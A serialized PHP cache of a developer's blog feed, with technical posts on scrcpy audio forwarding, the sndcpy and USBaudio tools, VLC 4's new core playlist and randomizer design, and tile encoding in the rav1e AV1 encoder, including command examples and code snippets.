a:169:{s:15:"20230312_023000";a:7:{s:5:"title";s:22:"Scrcpy 2.0, with audio";s:4:"link";s:53:"https://blog.rom1v.com/2023/03/scrcpy-2-0-with-audio/";s:4:"guid";s:52:"https://blog.rom1v.com/2023/03/scrcpy-2-0-with-audio";s:7:"pubDate";s:25:"2023-03-12T02:30:00+01:00";s:11:"description";s:0:"";s:7:"content";s:22097:"
I am thrilled to announce the release of scrcpy 2.0. Now, you can mirror (and record) your Android 11+ devices in real-time with audio forwarded to your computer!
This new version also includes an option to select the video and audio codecs. The device screen can now be encoded in H.265, or even AV1 if your device supports AV1 encoding (though this is unlikely).
The application is free and open source. Follow the instructions to install it and run it on your computer.
If you like scrcpy, you can support my open source work.
Audio forwarding is supported for devices with Android 11 or higher, and it is enabled by default:
You can disable audio with:
scrcpy --no-audio
If audio is enabled, it is also recorded:
scrcpy --record=file.mkv
Unlike video, audio requires some buffering even in real-time. The buffer size needs to be small enough to maintain acceptable latency, but large enough to minimize buffer underrun, which causes audio glitches. The default buffer size is set to 50ms, but it can be adjusted:
scrcpy --audio-buffer=30
To improve playback smoothness, you may deliberately increase the latency:
scrcpy --audio-buffer=200
This is useful, for example, to project your personal videos on a bigger screen:
scrcpy --video-codec=h265 --display-buffer=200 --audio-buffer=200
You can also select the audio codec and bit rate (default is Opus at 128Kbps). As a side note, I’m particularly impressed by the Opus codec at very low bit rate:
scrcpy --audio-codec=opus --audio-bit-rate=16k
scrcpy --audio-codec=aac --audio-bit-rate=16k
See the audio documentation page for more details.
The first version of scrcpy was released 5 years ago. Since then, audio forwarding has been one of the most requested features (see issue #14).
I made a first experimentation and developed USBaudio as a solution, but it worked poorly and the feature it relied on was deprecated in Android 8.
With the introduction of a new API to capture audio from an Android app in Android 10, I made a prototype called sndcpy. However, there were several issues. Firstly, it required to be invoked from an Android app (the scrcpy server is not an Android app, but a Java executable run with shell permissions). Most importantly, this API lets apps decide whether they can be captured or not, meaning many apps simply could not be captured, causing confusion for users.
By the end of January, @yume-chan (a scrcpy user), provided a proof-of-concept to capture the device audio with shell permissions and also proposed a working workaround for Android 11.
Since then, I have been working on a proper integration into scrcpy (my evenings and weekends have been quite busy 🙂). I added encoding, recording, buffering and playback with clock drift compensation to prevent audio delay from drifting.
Below are more technical details.
On the device, audio is captured by an AudioRecord with REMOTE_SUBMIX as
the audio source.
The API is straightforward to use, but not very low-latency friendly. It is possible to read a number of requested bytes in one of two modes:
READ_BLOCKING: the read will block until all the requested data is
read (it should be called READ_ALL_BLOCKING).READ_NON_BLOCKING: the read will return immediately after reading as
much audio data as possible without blocking.However, the most useful mode, which is a blocking read that may return less
data than requested (like the read() system call), is missing.
Since the amount of data available is unknown beforehand, in READ_BLOCKING
mode, scrcpy might wait for too long. Conversely, in READ_NON_BLOCKING mode,
scrcpy would read in a live-loop, burning CPU while the function returns 0 most
of the time.
I decided to use READ_BLOCKING with a size of 5ms (960 bytes).
Anyway, in practice, on the devices I tested on, audio blocks are produced only every 20ms, introducing a latency of 20ms. This is not a limiting factor though, since default OPUS and AAC encoders implementations on Android produce frame sizes of 960 samples (20ms) and 1024 samples (21.33ms) respectively (and they are not configurable).
In these conditions, scrcpy reads successively 4 blocks of 5 ms every 20ms. Although the number of requested bytes could be increased to 20ms (3840 bytes), in theory some devices might capture audio faster.
With the missing blocking mode (READ_BLOCKING_THE_REAL_ONE), it would be
possible to request a read with a larger buffer (e.g. 500ms) in one call, and
the AudioRecord would return as much data as possible whenever it is
available.
The captured audio samples are then encoded by MediaCodec, which offers both
synchronous and asynchronous APIs.
For our purpose, we need to execute two actions in parallel:
AudioRecord);Therefore, the asynchronous API is more suitable than the synchronous one.
Here is how it is documented:
MediaCodec codec = MediaCodec.createByCodecName(name);
codec.setCallback(new MediaCodec.Callback() {
@Override
void onInputBufferAvailable(MediaCodec mc, int inputBufferId) {
ByteBuffer inputBuffer = codec.getInputBuffer(inputBufferId);
// fill inputBuffer with valid data
…
codec.queueInputBuffer(inputBufferId, …);
}
@Override
void onOutputBufferAvailable(MediaCodec mc, int outputBufferId, …) {
ByteBuffer outputBuffer = codec.getOutputBuffer(outputBufferId);
// outputBuffer is ready to be processed or rendered.
…
codec.releaseOutputBuffer(outputBufferId, …);
}
…
}
However, there is a catch: the callbacks (onInputBufferAvailable() and
onOutputBufferAvailable()) are called from the same thread and cannot run in
parallel.
Filling an input buffer requires a blocking call to read from the AudioRecord,
while processing the output buffers involves a blocking call to send the data to
the client over a socket.
If we were to process the buffers directly from the callbacks, the processing
of an output buffer would be delayed until the blocking call to
AudioRecord.read() completes (which may be up to 20ms as described in the
previous section). This would result in additional latency.
To address this issue, the callback only submits tasks to input and output queues, which are processed by dedicated threads:
// simplified
codec.setCallback(new MediaCodec.Callback() {
@Override
void onInputBufferAvailable(MediaCodec mc, int inputBufferId) {
inputTasks.put(new InputTask(index));
}
@Override
void onOutputBufferAvailable(MediaCodec mc, int outputBufferId,
MediaCodec.BufferInfo bufferInfo) {
outputTasks.put(new OutputTask(index, bufferInfo);
}
…
}
Here is an overview of the client architecture for the video and audio streams:
V4L2 sink
/
decoder
/ \
VIDEO -------------> demuxer display
\
recorder
/
AUDIO -------------> demuxer
\
decoder --- audio player
The video and audio are captured and encoded on the device, and the resulting packets are sent via separate sockets over an adb tunnel using a custom protocol. This protocol transmits the raw encoded packets with packet headers that provide early information about packet boundaries (useful to reduce video latency) and PTS (used for recording).
Video and audio streams are then demuxed into packets by a
demuxer.
If recording is enabled, the recorder asynchronously muxes the elementary
streams into MP4 or MKV. Thus, the packets are encoded on the device side, but
muxed on the client side (it’s the division of labour!).
If a display or V4L2 is enabled, then the video packets must be decoded by
a decoder into video frames to be displayed or sent to V4L2.
If audio playback is enabled (currently when a display is enabled), the audio packets are decoded into audio frames (blocks of samples) and played by the audio player.
This is the last component I implemented (I wrote recording before playback), because it is the trickiest, especially to compensate for the following:
While scrcpy displays the latest received video frame without buffering, this isn’t possible for audio. Playing the latest received audio sample would be meaningless.
As input, the player regularly receives AVFrames of decoded audio
samples. As output, a callback regularly requests audio samples to be played. In
between, an audio buffer stores produced samples that have yet to be consumed.
The player aims to feed the audio output with as little latency as possible
while avoiding buffer underrun. To achieve this, it attempts to maintain the
average buffering (the number of samples present in the buffer) around a target
value. If this target buffering is too low, then buffer underrun will occur
frequently. If it is too high, then latency becomes unacceptable. This target
value is configured using the scrcpy option
--audio-buffer.
The playback relies only on buffer filling, the PTS are not used at all by the audio player (just as they are not used for video mirroring, unless video buffering is enabled). PTS are only used for recording.
The player cannot adjust the sample input rate (it receives samples produced in real-time) or the sample output rate (it must provide samples as requested by the audio output callback). Therefore, it may only apply compensation by resampling (converting m input samples to n output samples).
The compensation itself is applied by swresample (FFmpeg). It is configured
using swr_set_compensation(). An important work for the player is to
estimate the compensation value regularly and apply it.
The estimated buffering level is the result of averaging the “natural” buffering (samples are produced and consumed by blocks, so it must be smoothed), and making instant adjustments resulting of its own actions (explicit compensation and silence insertion on underflow), which are not smoothed.
Buffer underflow events can occur when packets arrive too late. In that case, the player inserts silence. Once the packets finally arrive (late), one strategy could be to drop the samples that were replaced by silence, in order to keep a minimal latency. However, dropping samples in case of buffer underflow is inadvisable, as it would temporarily increase the underflow even more and cause very noticeable audio glitches.
Therefore, the player doesn’t drop any sample on underflow. The compensation mechanism will absorb the delay introduced by the inserted silence.
I’m delighted that scrcpy now supports audio forwarding after much effort.
While I expect that the audio player will require some fine-tuning in the future to better handle edge cases, it currently performs quite well.
I would like to extend a huge thank you to @yume-chan for his initial proof-of-concept, which made this feature possible.
Happy mirroring!
";s:7:"dateiso";s:15:"20230312_023000";}s:15:"20200609_215000";a:7:{s:5:"title";s:30:"Audio forwarding on Android 10";s:4:"link";s:62:"https://blog.rom1v.com/2020/06/audio-forwarding-on-android-10/";s:4:"guid";s:61:"https://blog.rom1v.com/2020/06/audio-forwarding-on-android-10";s:7:"pubDate";s:25:"2020-06-09T21:50:00+02:00";s:11:"description";s:0:"";s:7:"content";s:5685:"Audio forwarding is one of the most requested features in scrcpy (see issue #14).
Last year, I published a small experiment (USBaudio) to forward audio over USB, using the AOA2 protocol. Unfortunately, this Android feature was unreliable, and has been deprecated in Android 8.
Here is a new tool I developed to play the device audio output on the computer,
using the Playback Capture API introduced in Android 10: sndcpy.
The name follows the same logic:
strcpy: string copyscrcpy: screen copysndcpy: sound copyThis is a quick proof-of-concept, composed of:
The long-term goal is to implement this feature properly in scrcpy.
You could either download the release or build the app.
VLC must be installed on the computer.
Plug an Android 10 device with USB debugging enabled, and execute:
./sndcpyIf several devices are connected (listed by adb devices):
./sndcpy <serial> # replace <serial> by the device serial(omit ./ on Windows)
It will install the app on the device, and request permission to start audio capture:

Once you clicked on START NOW, press Enter in the console to start playing
on the computer. Press Ctrl+c in the terminal to stop (except on Windows,
just disconnect the device or stop capture from the device notifications).
The sound continues to be played on the device. The volume can be adjusted independently on the device and on the computer.
sndcpy may only forward audio from apps which do not prevent audio
capture. The rules are detailed in §capture policy:
- By default, apps that target versions up to and including to Android 9.0 do not permit playback capture. To enable it, include
android:allowAudioPlaybackCapture="true"in the app’smanifest.xmlfile.- By default, apps that target Android 10 (API level 29) or higher allow their audio to be captured. To disable playback capture, include
android:allowAudioPlaybackCapture="false"in the app’smanifest.xmlfile.
So some apps might need to be updated to support audio capture.
Ideally, I would like scrcpy to support audio forwarding directly. However,
this will require quite a lot of work.
In particular, scrcpy does not use an Android app (required for capturing audio), it currently only runs a Java main as shell (required to inject events and capture the screen without asking).
And it will require to implement audio playback (done by VLC in this
PoC), but also audio recording (for scrcpy --record file.mkv), encoding and
decoding to transmit a compressed stream, handle audio-video synchronization…
Since I develop scrcpy on my free time, this feature will probably not be integrated very soon. Therefore, I prefer to release a working proof-of-concept which does the job.
";s:7:"dateiso";s:15:"20200609_215000";}s:15:"20190620_094000";a:7:{s:5:"title";s:20:"Introducing USBaudio";s:4:"link";s:52:"https://blog.rom1v.com/2019/06/introducing-usbaudio/";s:4:"guid";s:51:"https://blog.rom1v.com/2019/06/introducing-usbaudio";s:7:"pubDate";s:25:"2019-06-20T09:40:00+02:00";s:11:"description";s:0:"";s:7:"content";s:5605:"In order to support audio forwarding in scrcpy, I first implemented an experimentation on a separate branch (see issue #14). But it was too hacky and fragile to be merged (and it does not work on all platforms).
So I decided to write a separate tool: USBaudio.
It works on Linux with PulseAudio.
First, you need to build it (follow the instructions).
Plug an Android device. If USB debugging is enabled, just execute:
usbaudioIf USB debugging is disabled (or if multiple devices are connected), you need to
specify a device, either by their serial or vendor id and product_id (as
printed by lsusb):
usbaudio -s 0123456789abcdef
usbaudio -d 18d1:4ee2The audio should be played on the computer.
If it’s stuttering, try increasing the live caching value (at the cost of a higher latency):
# default is 50ms
usbaudio --live-caching=100Note that it can also be directly captured by OBS:

USBaudio executes 3 steps successively:
Note that enabling audio accessory changes the USB device product id, so it will close any adb connection (and scrcpy). Therefore, you should enable audio forwarding before running scrcpy.
To only enable audio accessory without playing:
usbaudio -n
usbaudio --no-playThe audio input sources can be listed by:
pactl list short sourcesFor example:
$ pactl list short sources
...
5 alsa_input.usb-LGE_Nexus_5_05f5e60a0ae518e5-01.analog-stereo module-alsa-card.c s16le 2ch 44100Hz RUNNING
Use the number (here 5) to play it with VLC:
vlc -Idummy --live-caching=50 pulse://5Alternatively, you can use ALSA directly:
cat /proc/asound/cardsFor example:
$ cat /proc/asound/cards
...
1 [N5 ]: USB-Audio - Nexus 5
LGE Nexus 5 at usb-0000:00:14.0-4, high speed
Use the device number (here 1) as follow:
vlc -Idummy --live-caching=50 alsa://hw:1If it works manually but not automatically (without -n), then please open an
issue.
It does not work on all devices, it seems that audio accessory is not always well supported. But it’s better than nothing.
Android Q added a new playback capture API. Hopefully, scrcpy could use it to forward audio in the future (but only for Android Q devices).
";s:7:"dateiso";s:15:"20190620_094000";}s:15:"20190521_092500";a:7:{s:5:"title";s:29:"A new core playlist for VLC 4";s:4:"link";s:61:"https://blog.rom1v.com/2019/05/a-new-core-playlist-for-vlc-4/";s:4:"guid";s:60:"https://blog.rom1v.com/2019/05/a-new-core-playlist-for-vlc-4";s:7:"pubDate";s:25:"2019-05-21T09:25:00+02:00";s:11:"description";s:0:"";s:7:"content";s:44327:"The core playlist in VLC was started a long time ago. Since then, it has grown to handle too many different things, to the point it became a kind of god object.
In practice, the playlist was also controlling playback (start, stop, change volume…), configuring audio and video outputs, storing media detected by discovery…
For VLC 4, we wanted a new playlist API, containing a simple list of items (instead of a tree), acting as a media provider for a player, without unrelated responsibilities.
I wrote it several months ago (at Videolabs). Now that the old one has been removed, it’s time to give some technical details.

One major design goal is to expose what UI frameworks need. Several user interfaces, like Qt, Mac OS and Android1, will use this API to display and interact with the main VLC playlist.
The playlist must be performant for common use cases and usable from multiple threads.
Indeed, in VLC, user interfaces are implemented as modules loaded dynamically. In general, there is exactly one user interface, but there may be none or (in theory) several. Thus, the playlist may not be bound to the event loop of some specific user interface. Moreover, the playlist may be modified from a player thread; for example, playing a zip archive will replace the item by its content automatically.
As a consequence, the playlist will use a mutex; to avoid ToCToU issues, it will also expose public functions to lock and unlock it. But as we will see later, there will be other consequences.
User interfaces need random access to the playlist items, so a vector is the
most natural structure to store the items. A vector is provided by the
standard library of many languages (vector in C++, Vec in Rust,
ArrayList in Java…). But here, we’re in C, so there is nothing.
In the playlist, we only need a vector of pointers, so I first proposed
improvements to an existing type, vlc_array_t, which only
supports void * as items. But it was considered useless
(1, 2) because it is too limited and
not type-safe.
Therefore, I wrote vlc_vector. It is implemented using macros so that it’s
generic over its item type. For example, we can use a vector of ints as
follow:
// declare and initialize a vector of int
struct VLC_VECTOR(int) vec = VLC_VECTOR_INITIALIZER;
// append 0, 10, 20, 30 and 40
for (int i = 0; i < 5; ++i) {
if (!vlc_vector_push(&vec, 10 * i)) {
// allocation failure...
}
}
// remove item at index 2
vlc_vector_remove(2);
// the vector now contains [0, 10, 30, 40]
int first = vec.data[0]; // 0
int last = vec.data[vec.size - 1]; // 40
// free resources
vlc_vector_destroy(&vec);Internally, the playlist uses a vector of playlist items:
typedef struct VLC_VECTOR(struct vlc_playlist_item *) playlist_item_vector_t;
struct vlc_playlist {
playlist_item_vector_t items;
// ...
};UI frameworks typically use list models to bind items to a list view component. A list model must provide:
In addition, the model must notify its view when items are inserted, removed, moved or updated, and when the model is reset (the whole content should be invalidated).
For example, Qt list views use QAbstractItemModel/QAbstractListModel and
the Android recycler view uses RecyclerView.Adapter.
The playlist API exposes the functions and callbacks providing these features.
However, the core playlist may not be used as a direct data source for a list model. In other words, the functions of a list model must not delegate the calls to the core playlist.
To understand why, let’s consider a typical sequence of calls executed by a view on its model, from the UI thread:
model.count();
model.get(0);
model.get(1);
model.get(2);
model.get(3);
model.get(4);If we implemented count() and get(index) by delegating to the playlist, we
would have to lock each call individually:
// in some artificial UI framework in C++
int MyModel::count() {
// don't do this
vlc_playlist_Lock(playlist);
int count = vlc_playlist_Count();
vlc_playlist_Unlock(playlist);
return count;
}
vlc_playlist_item_t *MyModel::get(int index) {
// don't do this
vlc_playlist_Lock(playlist);
vlc_playlist_item_t *item = vlc_playlist_Get(playlist, index);
vlc_playlist_Unlock(playlist);
return item;
}Note that locking and unlocking from the UI thread for every playlist item is not a good idea for responsiveness, but this is a minor issue here.
The real problem is that locking is not sufficient to guarantee correctness: the list view expects its model to return consistent values. Our implementation can break this assumption, because the playlist content could change asynchronously between calls. Here is an example:
// the playlist initially contains 5 items: [A, B, C, D, E]
model.count(); // 5
model.get(0); // A
model.get(1); // B
// the first playlist item is removed from another thread:
// vlc_playlist_RemoveOne(playlist, 0);
// the playlist now contains [B, C, D, E]
model.get(2); // D
model.get(3); // E
model.get(4); // out-of-range, undefined behavior (probably segfault)The view could not process any notification of the item removal before the end
of the current execution in its event loop… that is, at least after
model.get(4). To avoid this problem, the data provided by view models must
always live in the UI thread.
This implies that the UI has to manage a copy of the playlist content. The UI playlist should be considered as a remote out-of-sync view of the core playlist.
Note that the copy must not be limited to the list of pointers to playlist items: the content which is displayed and susceptible to change asynchronously (media metadata, like title or duration) must also be copied. The UI needs a deep copy; otherwise, the content could change (and be exposed) before the list view was notified… which, again, would break assumptions about the model.
The core playlist and the UI playlist are out-of-sync. So we need to “synchronize” them:
The core playlist is the source of truth.
Every change to the UI playlist must occur in the UI thread, yet the core playlist notification handlers are executed from any thread. Therefore, playlist callback handlers must retrieve appropriate data from the playlist, then post an event to the UI event loop2, which will be handled from the UI thread. From there, the core playlist will be out-of-sync, so it would be incorrect to access it.
The order of events forwarded to the UI thread must be preserved. That way, the indices notified by the core playlist are necessarily valid within the context of the list model in the UI thread. The core playlist events can be understood as a sequence of “patches” that the UI playlist must apply to its own copy.
This only works if only the core playlist callbacks modify the list model content.
Since the list model can only be modified by the core playlist callbacks, it is incorrect to modify it on user actions. As a consequence, the changes must be requested to the core playlist, which will, in turn, notify the actual changes.
The synchronization is more tricky in that direction.
To understand why, suppose the user selects items 10 to 20, then drag & drop to move them to index 42. Once the user releases the mouse button to “drop” the items, we need to lock the core playlist to apply the changes.
The problem is that, before we successfully acquired the lock, another client may have modified the playlist: it may have cleared it, or shuffled it, or removed items 5 to 15… As a consequence, we cannot apply the “move” request as is, because it was created from a previous playlist state.
To solve the issue, we need to adapt the request to make it fit the current playlist state. In other words, resolve conflicts: find the items if they had been moved, ignore the items not found for removal…
For that purpose, in addition to functions modifying the content directly, the playlist exposes functions to request “desynchronized” changes, which automatically resolve conflicts and generate an appropriate sequence of events to notify the clients of the actual changes.
Let’s take an example. Initially, our playlist contains 10 items:
[A, B, C, D, E, F, G, H, I, J]
The user selects [C, D, E, F, G] and press the Del key to remove the items.
To apply the change, we need to lock the core playlist.
But at that time, another thread was holding the lock to apply some other
changes. It removed F and I, and shuffled the playlist:
[E, B, D, J, C, G, H, A]
Once the other thread unlocks the playlist, our lock finally succeeds. Then, we
call request_remove([C, D, E, F, G]) (this is pseudo-code, the real function
is vlc_playlist_RequestRemove).
Internally, it triggers several calls:
// [E, B, D, J, C, G, H, A]
remove(index = 4, count = 2) // remove [C, G]
// [E, B, D, J, H, A]
remove(index = 2, count = 1) // remove [D]
// [E, B, J, H, A]
remove(index = 0, count = 1) // remove [E]
// [B, J, H, A]Thus, every client (including the UI from which the user requested to remove the
items), will receive a sequence of 3 events on_items_removed, corresponding
to each removed slice.
The slices are removed in descending order for both optimization (it minimizes the number of shifts) and simplicity (the index of a removal does not depend on previous removals).
In practice, it is very likely that the request will apply exactly to the
current state of the playlist. To avoid unnecessary linear searches to find the
items, these functions accept an additional index_hint parameter, giving the
index of the items when the request was created. It should (hopefully) almost
always be the same as the index in the current playlist state.
Contrary to shuffle, random playback does not move the items within the playlist; instead, it does not play them sequentially.
To select the next item to play, we could just pick one at random.
But this is not ideal: some items will be selected several times (possibly in a row) while some others will not be selected at all. And if loop is disabled, when should we stop? After all n items have been selected at least once or after n playbacks?
Instead, we would like some desirable properties that work both with loop enabled and disabled:
In addition, if loop is enabled:
I wrote a randomizer to select items “randomly” within all these
constraints.
To get an idea of the results, here is a sequence produced for a playlist
containing 5 items (A, B, C, D and E), with loop enabled (so that it
continues indefinitely):
E D A B C E B C A D C B E D A C E A D B A D C E B A B D E C B C A E D E D B C A
E C B D A C A E B D C D E A B E D B A C D C B A E D A B C E B D C A E D C A B E
B A E C D C E D A B C E B A D E C B D A D B A C E C E B A D B C E D A E A C B D
A D E B C D C A E B E A D C B C D B A E C E A B D C D E A B D A E C B C A D B E
A B E C D A C B E D E D A B C D E C A B C A E B D E B D C A C A E D B D B E C A
Here is how it works.
The randomizer stores a single vector containing all the items of the playlist. This vector is not shuffled at once. Instead, steps of the Fisher-Yates algorithm are executed one-by-one on demand. This has several advantages:
It also maintains 3 indexes:
head indicates the end of the items already determinated for the current
cycle (if loop is disabled, there is only one cycle),next points to the item after the current one3,history points to the first item of ordered history from the last cycle.0 next head history size
|---------------|-----|.............|-------------|
<-------------------> <----------->
determinated range history range
Let’s reuse the example I wrote in the documentation.
Here is the initial state with our 5 items:
history
next |
head |
| |
A B C D E
The playlist calls Next() to retrieve the next random item. The randomizer
picks one item (say, D), and swaps it with the current head (A). Next()
returns D.
history
next |
head |
| |
D B C A E
<--->
determinated range
The playlist calls Next() one more time. The randomizer selects one item
outside the determinated range (say, E). Next() returns E.
history
next |
head |
| |
D E C A B
<-------->
determinated range
The playlist calls Next() one more time. The randomizer selects C (already
in place). Next() returns C.
history
next |
head |
| |
D E C A B
<------------->
determinated range
The playlist then calls Prev(). Since the “current” item is C, the previous
one is E, so Prev() returns E, and next moves back.
history
next |
| head |
| | |
D E C A B
<------------->
determinated range
The playlist calls Next(), which returns C, as expected.
history
next |
head |
| |
D E C A B
<------------->
determinated range
The playlist calls Next(), the randomizer selects B, and returns it.
history
next |
head |
| |
D E C B A
<------------------>
determinated range
The playlist calls Next(), the randomizer selects the last item (it has no
choice). next and head now point one item past the end (their value is
the vector size).
history
next
head
|
D E C B A
<----------------------->
determinated range
At this point, if loop is disabled, it is not possible to call Next()
anymore (HasNext() returns false). So let’s enable it by calling
SetLoop(), then let’s call Next() again.
This will start a new loop cycle. Firstly, next and head are reset, and
the whole vector belongs to the last cycle history.
history
next
head
|
D E C B A
<------------------------>
history range
Secondly, to avoid selecting A twice in a row (as the last item of the
previous cycle and the first item of the new one), the randomizer will
immediately determine another item in the vector (say C) to be the first of
the new cycle. The items that belong to the history are kept in order.
head and history move forward.
history
next |
| head
| |
C D E B A
<---><------------------>
determinated history range
range
Finally, it will actually select and return the first item (C).
history
next
head
|
C D E B A
<---><------------------>
determinated history range
range
Then, the user adds an item to the playlist (F). This item is added in front
of history.
history
next |
head |
| |
C F D E B A
<---> <------------------>
determinated history range
range
The playlist calls Next(), the randomizer randomly selects E. E
“disappears” from the history of the last cycle. This is a general property:
each item may not appear more than once in the “history” (both from the last
and the new cycle). The history order is preserved.
history
next |
head |
| |
C E F D B A
<--------> <-------------->
determinated history range
range
The playlist then calls Prev() 3 times, that yields C, then A, then B.
next is decremented (modulo size) on each call.
history
| next
head | |
| | |
C E F D B A
<--------> <-------------->
determinated history range
range
Hopefully, the resulting randomness will match what people expect in practice.
The playlist can be sorted by an ordered list of criteria (a key and a order).
The implementation is complicated by the fact that items metadata can change asynchronously (for example if the player is parsing it), making the comparison function inconsistent.
To avoid the problem, a first pass builds a list of metadata for all items, then this list is sorted, and finally the resulting order is applied back to the playlist.
As a benefit, the items are locked only once to retrieved their metadata.
For VLC 4, Thomas wrote a new player API.
A player can be used without a playlist: we can set its current media and the player can request, when necessary, the next media to play from a media provider.
A playlist, on the other hand, needs a player, and registers itself as its media provider. They are tightly coupled:
To keep them synchronized:
This poses a lock-order inversion problem: for example, if thread A locks the playlist then waits for the player lock, while thread B locks the player then waits for the playlist lock, then thread A and B are deadlocked.
To avoid the problem, the player and the playlist share the same lock.
Concretely, vlc_playlist_Lock() delegates to vlc_player_Lock(). In practice,
the lock should be held only for short periods of time.
A separate API (media source and media tree) was necessary to expose what is called services discovery (used to detect media from various sources like Samba or MTP), which were previously managed by the old playlist.
Thus, we could kill the old playlist.
The new playlist and player API should help to implement UI properly (spoiler: a new modern UI is being developed), to avoid racy bugs and to implement new features (spoiler: gapless).
Discuss on reddit and Hacker News.
Actually, the Android app will maybe continue to implement its own playlist in Java/Kotlin, to avoid additional layers (Java/JNI and LibVLC). ↩
Even in the case where a core playlist callback is executed from the UI
thread, the event must be posted to the event queue, to avoid breaking
the order. Concretely, in Qt, this means connecting signals to slots using
Qt::QueuedConnection instead of the default Qt::AutoConnection. ↩
We use next instead of current so that all indexes are unsigned, while
current could be -1. ↩
During the last few months at Videolabs, I added support for tile encoding in rav1e (a Rust AV1 Encoder).
AV1 is an open and royalty-free video coding format, concurrent with HEVC (H.265).
Rav1e is an encoder written in Rust, developed by Mozilla/Xiph. As such, it takes an input video and encodes it to produce a valid AV1 bitstream.
Tile encoding consists in splitting video frames into tiles that can be encoded and decoded independently in parallel (to use several CPUs), at the cost of a small loss in compression efficiency.
This speeds up encoding and increases decoding frame rate.
To prepare for tiling, some refactoring was necessary.
A frame contains 3 planes (one for each YUV component, possibly subsampled). Each plane is stored in a contiguous array, rows after rows.
To illustrate it, here is a mini-plane containing 6×3 pixels. Padding is added for alignment (and other details), so its physical size is 8×4 pixels:

In memory, it is stored in a single array:

The number of array items separating one pixel to the one below is called the stride. Here, the stride is 8.
The encoder often needs to process rectangular regions. For that purpose, many functions received a slice of the plane array and the stride value:
pub fn write_forty_two(slice: &mut [u16], stride: usize) {
for y in 0..2 {
for x in 0..4 {
slice[y * stride + x] = 42;
}
}
}This works fine, but the plane slice spans multiple rows.
Let’s split our planes into 4 tiles (2 columns × 2 rows):

In memory, the resulting plane regions are not contiguous:

In Rust, it is not sufficient not to read/write the same memory from several threads, it must be impossible to write (safe) code that could do it. More precisely, a mutable reference may not alias any other reference to the same memory.
As a consequence, passing a mutable slice (&mut [u16]) spanning multiple
rows is incompatible with tiling. Instead, we need some structure, implemented
with unsafe code, providing a view of the authorized region of the underlying
plane.
As a first step, I replaced every piece of code which used a raw slice and the
stride value by the existing PlaneSlice and PlaneMutSlice
structures (which first required to make planes generic after
improving the Pixel trait).
After these changes, our function could be rewritten as follow:
pub fn write_forty_two<T: Pixel>(slice: &mut PlaneMutSlice<'_, T>) {
for y in 0..2 {
for x in 0..4 {
slice[y][x] = 42;
}
}
}So now, all the code using a raw slice and a stride value has been replaced. But
if we look at the definition of PlaneMutSlice, we see that it still borrows
the whole plane:
pub struct PlaneMutSlice<'a, T: Pixel> {
pub plane: &'a mut Plane<T>,
pub x: isize,
pub y: isize
}So the refactoring, in itself, does not solves the problem.
What is needed now is a structure that exposes a bounded region of the plane.
For illustration purpose, let’s consider a minimal example, solving a similar problem: split a matrix into columns.

In memory, the matrix is stored in a single array:

To do so, let’s define a ColumnMut type, and split the raw array into columns:
use std::marker::PhantomData;
use std::ops::{Index, IndexMut};
pub struct ColumnMut<'a> {
data: *mut u8,
cols: usize,
rows: usize,
phantom: PhantomData<&'a mut u8>,
}
impl Index<usize> for ColumnMut<'_> {
type Output = u8;
fn index(&self, index: usize) -> &Self::Output {
assert!(index < self.rows);
unsafe { &*self.data.add(index * self.cols) }
}
}
impl IndexMut<usize> for ColumnMut<'_> {
fn index_mut(&mut self, index: usize) -> &mut Self::Output {
assert!(index < self.rows);
unsafe { &mut *self.data.add(index * self.cols) }
}
}
pub fn columns(
slice: &mut [u8],
cols: usize,
) -> impl Iterator<Item = ColumnMut<'_>> {
assert!(slice.len() % cols == 0);
let rows = slice.len() / cols;
(0..cols).map(move |col| ColumnMut {
data: &mut slice[col],
cols,
rows,
phantom: PhantomData,
})
}The PhantomData is necessary to bind the lifetime (in practice,
when we store a raw pointer, we often need a PhantomData).
We implemented Index and IndexMut traits to provide operator []:
// via Index trait
let value = column[y];
// via IndexMut trait
column[y] = value;The iterator returned by columns() yields a different column every time, so
the borrowing rules are respected.
Now, we can read from and write to a matrix via temporary column views:
fn main() {
let mut data = [1, 5, 3, 2,
4, 2, 1, 7,
0, 0, 0, 0];
// for each column, write the sum
columns(&mut data, 4).for_each(|mut col| col[2] = col[0] + col[1]);
assert_eq!(data, [1, 5, 3, 2,
4, 2, 1, 7,
5, 7, 4, 9]);
}Even if the columns are interlaced in memory, from a ColumnMut instance, it is
not possible to access data belonging to another column.
Note that cols and rows fields must be kept private, otherwise they could
be changed from safe code in such a way that breaks boundaries and violates
borrowing rules.
A plane is split in a similar way, except that it provides plane regions instead of colums.
The split is recursive. For example, a Frame contains 3 Planes, so a
Tile contains 3 PlaneRegions, using the same underlying memory.
In practice, more structures related to the encoding state are split into tiles, provided both in const and mut versions, so there is a whole hierarchy of tiling structures:
+- FrameState → TileState
| +- Frame → Tile
| | +- Plane → PlaneRegion
| + RestorationState → TileRestorationState
| | +- RestorationPlane → TileRestorationPlane
| | +- FrameRestorationUnits → TileRestorationUnits
| + FrameMotionVectors → TileMotionVectors
+- FrameBlocks → TileBlocks
The split is done by a separate component (see tiler.rs), which yields a
tile context containing an instance of the hierarchy of tiling views for each
tile.
A priori, there are mainly two possibilities to express offsets during tile encoding:
The usage of tiling views strongly favors the first choice. For example, it would be confusing if a bounded region could not be indexed from 0:
// region starting at (64, 64)
let row = ®ion[0]; // panic, out-of-bounds
let row = ®ion[64]; // ok :-/Worse, this would not be possible at all for the second dimension:
// region starting at (64, 64)
let first_row = ®ion[64];
let first_column = row[64]; // wrong, a raw slice necessarily starts at 0Therefore, offsets used in tiling views are relative to the tile (contrary to libaom and AV1 specification).
Encoding a frame first involves frame-wise accesses (initialization), then tile-wise accesses (to encode tiles in parallel), then frame-wise accesses using the results of tile-encoding (deblocking, CDEF, loop restoration, …).
All the frame-level structures have been replaced by tiling views where necessary.
The tiling views exist only temporarily, during the calls to
encode_tile(). While they are alive, it is not possible to
access frame-level structures (the borrow checker statically prevents it).
Then the tiling structures vanish, and frame-level processing can continue.
This schema gives an overview:
\
+----------------+ |
| | |
| | | Frame-wise accesses
| | >
| | | - FrameState<T>
| | | - Frame<T>
+----------------+ | - Plane<T>
/ - ...
|| tiling views
\/
\
+---+ +---+ +---+ +---+ |
| | | | | | | | | Tile encoding (possibly in parallel)
+---+ +---+ +---+ +---+ |
|
+---+ +---+ +---+ +---+ | Tile-wise accesses
| | | | | | | | >
+---+ +---+ +---+ +---+ | - TileStateMut<'_, T>
| - TileMut<'_, T>
+---+ +---+ +---+ +---+ | - PlaneRegionMut<'_, T>
| | | | | | | | |
+---+ +---+ +---+ +---+ |
/
|| vanishing of tiling views
\/
\
+----------------+ |
| | |
| | | Frame-wise accesses
| | >
| | | (deblocking, CDEF, ...)
| | |
+----------------+ |
/
